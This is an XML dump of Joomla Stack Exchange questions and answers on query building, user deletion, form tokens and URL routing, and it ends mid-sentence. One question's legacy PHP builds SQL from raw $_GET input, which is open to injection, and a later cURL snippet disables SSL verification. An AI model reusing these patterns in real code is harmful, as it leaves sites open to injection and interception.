  <row Id="26449" PostTypeId="1" AcceptedAnswerId="26451" CreationDate="2019-11-24T13:23:04.213" Score="0" ViewCount="52" Body="&lt;p&gt;Am Trying to rewrite this code with latest joomla and php for best practice&#xA;Confused on where to use this function in new code&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;onchange=&quot;showModelVariant(this.value)&quot;&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Is the new code correct way of rewriting old code for secure safe way or any better way. Thanks&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Am on Joomla 3x series&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Old Code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    define( '_JEXEC', 1 );&#xA;    define('JPATH_BASE', dirname(__FILE__));  &#xA;    require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;    require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;    $mainframe = JFactory::getApplication('site');&#xA;&#xA;&#xA;$db = JFactory::getDBO();   &#xA;&#xA;if(isset($_GET[&quot;n&quot;])){  &#xA;    $InsuranceNew=$_GET[&quot;n&quot;];&#xA;    $sql = &quot;SELECT * from #__newcar_products where state='1' and prod_cat_id='&quot;.$InsuranceNew.&quot;' order by prod_sorder Asc&quot;;&#xA;    $db-&amp;gt;setQuery($sql);&#xA;    $rows = $db-&amp;gt;loadObjectList();&#xA;    $list='&amp;lt;select name=&quot;model&quot; class=&quot;list-box-big&quot; id=&quot;model&quot;  lang=&quot;MUST&quot; title=&quot;Model&quot; style=&quot;width:245px; height:25px;&quot;  onchange=&quot;showModelVariant(this.value)&quot;&amp;gt;';&#xA;    $list.='&amp;lt;option value=&quot;&quot; style=&quot;padding-left:10px;&quot; selected&amp;gt;-Select Model-&amp;lt;/option&amp;gt;';&#xA;    foreach($rows as $row){&#xA;        $list.='&amp;lt;option value=&quot;'.$row-&amp;gt;id .'&quot; style=&quot;padding-left:10px;&quot;&amp;gt;'.$row-&amp;gt;prod_name.'&amp;lt;/option&amp;gt;';&#xA;    }&#xA;    $list.='&amp;lt;/select&amp;gt;';&#xA;    die($list);&#xA;}&#xA;    if(isset($_GET[&quot;ncvd&quot;])){  &#xA;        $NewCarVariantDetail=$_GET[&quot;ncvd&quot;];&#xA;        $sql = &quot;SELECT * from #__newcar_variants where state='1' and id='&quot;.$NewCarVariantDetail.&quot;'&quot;;&#xA;        $db-&amp;gt;setQuery($sql);&#xA;        $rows = $db-&amp;gt;loadObject();&#xA;$list='some html code';   &#xA;die($list);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;New Code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;        define( '_JEXEC', 1 );&#xA;        define('JPATH_BASE', dirname(__FILE__));  &#xA;        require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;        require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;        $mainframe = JFactory::getApplication('site');&#xA;&#xA;         // GET using JInput&#xA;        $jinput  = JFactory::getApplication()-&amp;gt;input;&#xA;        $ModelId = $jinput-&amp;gt;get('n', '', 'INT');&#xA;        $NewCarVariantDetail = $jinput-&amp;gt;get('ncvd', '', 'INT');&#xA;&#xA;        $db = JFactory::getDBO();   &#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select($db-&amp;gt;qn(array('id','prod_cat_id','prod_name')))&#xA;              -&amp;gt;from($db-&amp;gt;qn('#__newcar_products'))&#xA;              -&amp;gt;where($db-&amp;gt;qn('state') . ' = 1')&#xA;              -&amp;gt;where($db-&amp;gt;qn('prod_cat_id') . ' = ' . (int)$ModelId)&#xA;              -&amp;gt;order('prod_sorder ASC');&#xA;              $db-&amp;gt;setQuery($query);    &#xA;            $rows = $db-&amp;gt;loadObjectList();&#xA;            $list='&amp;lt;select name=&quot;model&quot; class=&quot;list-box&quot; id=&quot;model&quot;  lang=&quot;&quot; title=&quot;Model&quot;&amp;gt;';&#xA;            $list.='&amp;lt;option value=&quot;&quot; style=&quot;padding-left:10px;&quot; selected&amp;gt;-Select Model-&amp;lt;/option&amp;gt;';&#xA;            foreach($rows as $row){&#xA;                $list.='&amp;lt;option value=&quot;'.$row-&amp;gt;id .'&quot; style=&quot;padding-left:10px;&quot;&amp;gt;'.$row-&amp;gt;prod_name.'&amp;lt;/option&amp;gt;';&#xA;            }&#xA;            $list.='&amp;lt;/select&amp;gt;';&#xA;            die($list);&#xA;&#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;qn(array('id','v_prod_id','v_name')))&#xA;              -&amp;gt;from($db-&amp;gt;qn('#__newcar_variants'))&#xA;              -&amp;gt;where($db-&amp;gt;qn('state') . ' = 1')&#xA;              -&amp;gt;where($db-&amp;gt;qn('v_prod_id') . ' = ' . (int)$NewCarVariantDetail)&#xA;&#xA;              $db-&amp;gt;setQuery($query);    &#xA;            $rows = $db-&amp;gt;loadObjectList();&#xA;            $list. = 'some html code';   &#xA;die($list);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2019-11-25T03:01:43.780" Title="Joomla old code to latest 3x series with best practice of safe and secure code" Tags="|joomla-3.x|php|fix-my-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26450" PostTypeId="1" AcceptedAnswerId="26452" CreationDate="2019-11-24T23:14:21.013" Score="5" ViewCount="989" Body="&lt;p&gt;I want to remove a set of users by id from a Joomla 3.x database. I am trying to figure out from the documentation if this is possible without having to write my own SQL for each database table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Something like the following pseudo code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; delete from #_users where ( `lastvisitDate` &amp;lt; NOW() - INTERVAL 1 MONTH  ) AND ( #__user_usergroup_map.group_id = 18 );&#xA; delete from #_user_usergroup_map where user_id not in (select id from #_users);&#xA; delete from #_user_profiles where user_id not in (select id from #_users);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am familiar with the querybuilder see: &lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase/en&quot; rel=&quot;noreferrer&quot;&gt;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase/en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if there is already code in the framework that deletes user's with details then it would be my preference not to reinvent the wheel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentations has this : &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.User.User.html&quot; rel=&quot;noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.User.User.html&lt;/a&gt; but it seems that no parameters are passed to user-&gt;delete?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming this can be done as it is possible to tick boxes in the administrator back end user list and delete multiple users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been working with Joomla for a few years (since 1.5) but truth be told I have always struggled with the API documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13935" LastActivityDate="2019-11-25T07:36:15.403" Title="What is the correct way to programmatically delete a joomla user and their data?" Tags="|joomla-3.x|joomla-api|user|joomla-user-groups|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26451" PostTypeId="2" ParentId="26449" CreationDate="2019-11-25T03:01:43.780" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;✔️ The use of &lt;code&gt;$jinput-&amp;gt;get()&lt;/code&gt; with &lt;code&gt;INT&lt;/code&gt; parameter to sanitise the incoming data for security and stability.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt; To maintain a consistent variable naming convention in accordance with &lt;a href=&quot;https://github.com/joomla/coding-standards/wiki/Php#regular-variables-and-class-properties&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla's official recommendation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Regular Variables and Class Properties&lt;br&gt;&#xA;  Regular variables follow the same conventions as functions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This will allow your script to seamlessly blend into the project as a whole and IDEs (e.g. PHPStorm) will be able to intelligently parse the individual words in your variable names (your title case is fine in that regard, but camel case will put all project variables in alignment.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;✔️ You are employing Joomla's query builder methods which is not only in alignment Joomla recommendations, but will make your project more portable if you should need to change the db environment that your project exists in or provide your scripting to others.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt; Your &lt;code&gt;select()&lt;/code&gt; method is receiving an array of parameters, which is &lt;em&gt;better&lt;/em&gt; than making three separate &lt;code&gt;select()&lt;/code&gt; calls, but then the WHERE clause is not constructed in a similar manner. Consider this alternative syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; -&amp;gt;where([&#xA;     $db-&amp;gt;qn('state') . ' = 1',&#xA;     $db-&amp;gt;qn('prod_cat_id') . ' = ' . (int)$ModelId&#xA; ]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will reduce the total number of &lt;code&gt;where()&lt;/code&gt; method calls.  I also recommend using square brace syntax for arrays -- this provides an instantly visible distinction between functions and data in scripts that have nested operations in a single statement.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt; While it is more declarative to state the sort direction (&lt;code&gt;ASC&lt;/code&gt;), you may simply write the column name because &lt;code&gt;ASC&lt;/code&gt; is the default sorting direction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt; It is good practice to keep all of your styling in one place.  Ideally, use an external stylesheet instead of inline styling to make your project easier to maintain in the future. On the topic of styling &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; tags, you may like to peruse this page: &lt;a href=&quot;https://stackoverflow.com/q/22681141/2943403&quot;&gt;https://stackoverflow.com/q/22681141/2943403&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;❌ Most concerning is the use of &lt;code&gt;die($list);&lt;/code&gt; and the omission of your conditional check on the input variables.  I am not entirely sure what your project requires, but you have certainly lost a portion of logic in your new script.  Because &lt;code&gt;die()&lt;/code&gt; will kill the script execution at the point that it is called, so your second query block has no chance of being executed.  You should revisit your requirements here.  If you are building one collection of data in &lt;code&gt;$list&lt;/code&gt;, then don't &lt;code&gt;die()&lt;/code&gt; / &lt;code&gt;exit()&lt;/code&gt; / &lt;code&gt;echo&lt;/code&gt; until you are completely finished building the string. (...but if you are building a single string then you could manage to write a single UNION query to return it all in one trip to the db ...again, this part is unclear.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-11-25T03:01:43.780" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26452" PostTypeId="2" ParentId="26450" CreationDate="2019-11-25T07:36:15.403" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The documentations has this : &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.User.User.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.User.User.html&lt;/a&gt; but it seems that no parameters are passed to user-&gt;delete?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's correct. This method works on the user instance.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\User\User;&#xA;&#xA;// Get user with ID 1.&#xA;$userId = 1;&#xA;$user   = User::getInstance($userId);&#xA;&#xA;// Delete the user.&#xA;if (!$user-&amp;gt;delete())&#xA;{&#xA;    // Error occurred.&#xA;}&#xA;else&#xA;{&#xA;    // User with ID 1 deleted.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using this method triggers &lt;code&gt;onUserBeforeDelete&lt;/code&gt; and &lt;code&gt;onUserAfterDelete&lt;/code&gt; events so plugins can delete related user data.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-11-25T07:36:15.403" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26453" PostTypeId="2" ParentId="26433" CreationDate="2019-11-25T16:18:14.680" Score="2" Body="&lt;p&gt;First of all, you won't find the page in your menus: the ID in front of /14-get-involved/ indicates that there's no menu item for that page. Otherwise Joomla's SEF functionality would have changed it to /get-involved/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have a category called get-involved? Does it contain any articles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you using none-core extensions like a Page Builder component?&#xA;If so, check the content that has been created with that extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still cannot find it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To find almost anything in your website&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use an IDE (Integrated Development Environment) with a good search functionality (e.g. PHPStorm, Netbeans)&lt;/li&gt;&#xA;&lt;li&gt;Create a local web environment with a copy of your Joomla site (Akeeba Backup is a nice backup tool for that)&lt;/li&gt;&#xA;&lt;li&gt;Create a MySQL dump that you put in folder of your website&lt;/li&gt;&#xA;&lt;li&gt;Look in HTML of website to some unique code that you are looking to change, or in your case you might want to look for the string &quot;get-involved&quot;&lt;/li&gt;&#xA;&lt;li&gt;Use your IDE to search that search string in all your files (including the database dump)&lt;/li&gt;&#xA;&lt;li&gt;This will give you an indication where the string is used, and where to change things.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2019-11-25T16:18:14.680" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26454" PostTypeId="2" ParentId="26433" CreationDate="2019-11-27T08:28:45.390" Score="2" Body="&lt;p&gt;Since Joomla 3.9.x you can search the content of articles in the back-end of the website by prefixing your search term with &quot;CONTENT:&quot; in the search field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this does not help, you could temporarily disable search engine friendly urls in Global Configuration so that the links in the search results show you which component is generating the content.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-11-27T08:28:45.390" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26455" PostTypeId="1" AcceptedAnswerId="26457" CreationDate="2019-11-27T15:28:30.067" Score="2" ViewCount="953" Body="&lt;p&gt;I need to compose a list for a RSFormPro form field which contains options that display article titles and their respective date from a custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In front something like this :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Select your courses :&#xA;Title of the article - 25/12/2019 (date from the custom field)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I see this article, but I don't know how combine it with the custom field www.rsjoomla.com/support/documentation/r...st-from-a-table.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the following code, I am able to retrieve article title from specific categories&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Prepare the empty array&#xA;$items = array();&#xA;// Prepare the database connection&#xA;$db = JFactory::getDbo();&#xA;// Keep this if you'd like a &quot;Please select&quot; option, otherwise comment or &#xA;remove it&#xA;$items[] = &quot;|Please Select[c]&quot;;&#xA;&#xA;// Run the SQL query and store it in $results&#xA;$db-&amp;gt;setQuery(&quot;SELECT title, title FROM jos0x_content WHERE catid = 13 or &#xA;catid = 14&quot;);&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&#xA;// Now, we need to convert the results into a readable RSForm! Pro format.&#xA;// The Items field will accept values in this format:&#xA;// value-to-be-stored|value-to-be-shown&#xA;// Eg. m|M-sized T-shirt&#xA;foreach ($results as $result) {&#xA;    $value = $result-&amp;gt;title;&#xA;    $label = $result-&amp;gt;title;&#xA;    $items[] = $value.'|'.$label;&#xA;}&#xA;&#xA;// Multiple values are separated by new lines, so we need to do this now&#xA;$items = implode(&quot;\n&quot;, $items);&#xA;&#xA;// Now we need to return the value to the field&#xA;return $items;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In database :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Table jos0x_content : title&#xA;Table jos0x_fields_values : field_id=2(calendar field), value, and &#xA;  in item_id the related id of the article &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13940" LastEditorUserId="13940" LastEditDate="2019-11-28T05:34:06.127" LastActivityDate="2019-11-28T19:59:05.113" Title="Get the list of article and related specific custom field value" Tags="|articles|custom-field|rsform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26457" PostTypeId="2" ParentId="26455" CreationDate="2019-11-28T08:16:51.580" Score="2" Body="&lt;p&gt;It is basically a &lt;code&gt;LEFT JOIN&lt;/code&gt; to relate the tables and &lt;code&gt;WS_CONCAT()&lt;/code&gt; calls to prepare the output strings within the SQL (no extra php handling of the result set). If EVERY article has a date value in the fields_values table, then you can use &lt;code&gt;innerJoin()&lt;/code&gt;; if you use &lt;code&gt;innerJoin()&lt;/code&gt; and there is no related row in the joined table for a specific article, then that article will not be represented in the result set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I am using a &quot;glue&quot; to concatenate with Joomla's &lt;code&gt;concatenate()&lt;/code&gt; method, the output is not &lt;a href=&quot;https://joomla.stackexchange.com/a/24303/12352&quot;&gt;prone to breaking on NULL&lt;/a&gt; &lt;code&gt;fv.value&lt;/code&gt; values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using nested concatenation because I need two different &quot;glues&quot;. The inner concatenation provides pipe-separated text like &lt;code&gt;The Title|The Title&lt;/code&gt;. The outer concatenation appends space-hyphen-space then the formatted date string like &lt;code&gt;The Title|The Title - 28-11-2019&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you want to apply some sorting to the query, I've arbitrarily decided to sort by article date in descending order -- feel free to play with that per your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the record, ALL of the &lt;code&gt;$db-&amp;gt;qn()&lt;/code&gt; calls can be safely removed from my script.  Joomla endorses the use of its quoting methods to err on the side of keeping their websites secure and stable.  However, all of your tables, columns, and their aliases will run just as smoothly without being backtick wrapped. (...as I have explained &lt;a href=&quot;https://joomla.stackexchange.com/a/24740/12352&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;https://joomla.stackexchange.com/a/22985/12352&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;https://joomla.stackexchange.com/a/24199/12352&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;https://joomla.stackexchange.com/a/23026/12352&quot;&gt;here&lt;/a&gt;, and &lt;a href=&quot;https://joomla.stackexchange.com/a/24342/12352&quot;&gt;here&lt;/a&gt; based on &lt;a href=&quot;https://stackoverflow.com/q/11321491/2943403&quot;&gt;the concrete criteria discussed here&lt;/a&gt;.) You will notice a profound increase in script readability upon removing these unnecessary quoting methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not tested and it is entirely possible that I've made mistakes.  If so, please don't be shy about commenting under my answer; I require all of my answers to work as desired.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query&#xA;        -&amp;gt;select(&#xA;              $query-&amp;gt;concatenate([&#xA;                  $query-&amp;gt;concatenate([&#xA;                      $db-&amp;gt;qn(&quot;c.title&quot;),&#xA;                      $db-&amp;gt;qn(&quot;c.title&quot;)&#xA;                  ], &quot;|&quot;),&#xA;                  &quot;DATE_FORMAT(&quot; . $db-&amp;gt;qn(&quot;fv.value&quot;) . &quot;, '%d-%m-%Y')&quot;&#xA;              ], &quot; - &quot;)&#xA;          )&#xA;        -&amp;gt;from($db-&amp;gt;qn(&quot;#__content&quot;, &quot;c&quot;))&#xA;        -&amp;gt;leftJoin($db-&amp;gt;qn(&quot;#__fields_values&quot;, &quot;fv&quot;)&#xA;              . &quot; ON &quot; . $db-&amp;gt;qn(&quot;c.id&quot;) . &quot; = &quot; . $db-&amp;gt;qn(&quot;fv.item_id&quot;))&#xA;        -&amp;gt;where([&#xA;              $db-&amp;gt;qn(&quot;fv.field_id&quot;) . &quot; = 2&quot;,&#xA;              $db-&amp;gt;qn(&quot;c.catid&quot;) . &quot; IN (13,14)&quot;,&#xA;              $db-&amp;gt;qn(&quot;c.state&quot;) . &quot; = 1&quot;)&#xA;          ])&#xA;        -&amp;gt;order($db-&amp;gt;qn(&quot;fv.value&quot;) . &quot; DESC&quot;);&#xA;    $db-&amp;gt;setQuery($query);&#xA;    return &quot;|Please Select[c]\n&quot; . implode(&quot;\n&quot;, $db-&amp;gt;loadColumn());&#xA;} catch (Exception $e) {&#xA;    return &quot;|Syntax Error&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additions based on commented requirements:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use &lt;a href=&quot;http://www.mysqltutorial.org/mysql-date_format/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MySQL's &lt;code&gt;DATE_FORMAT()&lt;/code&gt;&lt;/a&gt; to customise your datetime stamp.&lt;/li&gt;&#xA;&lt;li&gt;to include only published articles in the result set, add &lt;code&gt;$db-&amp;gt;qn(&quot;c.state&quot;) . &quot; = 1&quot;&lt;/code&gt; as another element in &lt;code&gt;where()&lt;/code&gt;'s array.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-11-28T19:59:05.113" LastActivityDate="2019-11-28T19:59:05.113" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26459" PostTypeId="1" CreationDate="2019-11-28T09:26:15.460" Score="1" ViewCount="457" Body="&lt;p&gt;In my list view I have added token in my form using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_( 'form.token' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I have redirected from the list view to a controller's task like&#xA;&lt;a href=&quot;http://some/joomla/site/administrator/index2.php?option=com_users&amp;amp;task=edit&amp;amp;id=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://some/joomla/site/administrator/index2.php?option=com_users&amp;amp;task=edit&amp;amp;id=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the controller I checked for the token using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Session::checkToken() or jexit(Text::_('JINVALID_TOKEN'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now when I login through backend as Super User select any item to edit then I get an error message as The most recent request was denied because it had an invalid security token. Please refresh the page and try again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I remove the check of checkToken() it works but I don't want to remove it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do we need to do some additional things? &lt;/p&gt;&#xA;" OwnerUserId="13900" LastActivityDate="2024-04-05T22:06:31.277" Title="Getting error message as The most recent request was denied because it had an invalid security token. Please refresh the page and try again" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26460" PostTypeId="2" ParentId="26459" CreationDate="2019-11-28T12:33:31.503" Score="0" Body="&lt;p&gt;It is better if you do not just put the creation of the token in the form in list layout but you get or create the token at the redirect to the controller. Example from the docs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_( 'index.php?option=com_example&amp;amp;controller=object1&amp;amp;task=edit&amp;amp;'. JSession::getFormToken() .'=1' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so, add &lt;code&gt;. JSession::getFormToken() .'=1'&lt;/code&gt; to your redirect link in the view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, since it is a &lt;code&gt;get&lt;/code&gt; request (not a &lt;code&gt;post&lt;/code&gt; request) you will check the token like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JSession::checkToken( 'get' ) or die( 'Invalid Token' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(instead of using JSession, you can use Session object as you do it already). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this fixes the issue for you.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-11-28T13:30:01.607" LastActivityDate="2019-11-28T13:30:01.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26464" PostTypeId="1" CreationDate="2019-11-29T14:26:41.420" Score="0" ViewCount="917" Body="&lt;p&gt;I have a little problem - I want to remove categories and submenus from URL in Joomla 3.9.3. Of course, I did basic things like removing ID from URLs, but removing category is like a milestone for me. For example, now it's like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.funnypage.com/main-menu-item/sub-menu/article&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I want archive something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.funnypage.com/article ,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but still using navigation like in this page: &lt;a href=&quot;http://wisznice.work.mbnet.pl/o-gminie/historia/pamietniki&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wisznice.work.mbnet.pl/o-gminie/historia/pamietniki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help!&lt;/p&gt;&#xA;" OwnerUserId="13917" LastActivityDate="2023-09-08T19:06:20.727" Title="How to remove category from URL?" Tags="|joomla-3.x|url|seo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26465" PostTypeId="2" ParentId="26428" CreationDate="2019-11-29T15:39:10.427" Score="1" Body="&lt;p&gt;As can be seen from the updates to the original question, I have been able to make my code work although I ended up not using com_ajax and built my own component based on it. There were a couple of snags along the way but by creating my own little component, I got the code behaving as I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, I had to add a CORS header to the .htaccess file of the Joomla environment processing the data (site J from my original question) for Access Control Allow Origin (in Apache: Header set Access-Control-Allow-Origin '&lt;a href=&quot;https://your.originating.site&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://your.originating.site&lt;/a&gt;') in order to gain access to the hosted environment. I kept getting a 301 without it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, PHP wants to return an HTML file. It's what it does. The exit() command ends the script before the home page of the destination site is &quot;returned&quot; for you. Perhaps a little bit of a harsh way of approaching this but it works and will suit my needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, thank you to those who responded. It helped point me in the direction I needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To &quot;push&quot; data to my little component (com_reverse), I used a jQuery.get and a cURL GET.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jQuery (from Javascript, simplified for brevity)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.get(&quot;https://my.joomla.site/index.php?option=com_reverse&quot;,&#xA;{&quot;text_str&quot;: &quot;Text string to reverse&quot;},&#xA;function(result)&#xA;{&#xA;    alert(result)&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;cURL (from PHP, again, simplified for brevity)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ch = curl_init();                                  // Initialize curl&#xA;$curl_url = &quot;https://my.joomls.site/index.php?option=com_reverse&quot; . &quot;&amp;amp;text_str=&quot; . urlencode(&quot;String to reverse&quot;)&#xA;//curl_setopt( $ch, CURLOPT_GET, 1 );  // GET is the default&#xA;curl_setopt($ch, CURLOPT_URL, $curl_url);&#xA;curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);&#xA;curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);&#xA;curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );&#xA;curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);  // required for redirects&#xA;$curl_result = curl_exec($ch);&#xA;curl_close($ch);&#xA;echo &quot;cURL result: &quot; . $curl_result;  // echos back to calling script&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NOTE: cURL GET and redirecting have issues. You lose URL encoding of strings along the way and your strings will end at the first space. This isn't a huge problem for me as most of the data I will use is numeric. However, to overcome this, I simply change &quot; &quot; to &quot;~&quot; in my character strings and reverse that before the &quot;echo&quot;. If anyone knows of a way to maintain URL encoding through 2 or 3 redirects, I would appreciate knowing how (there are a lot of cURL options I haven't investigated yet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE 2: You should incorporate some security features if you wish to do 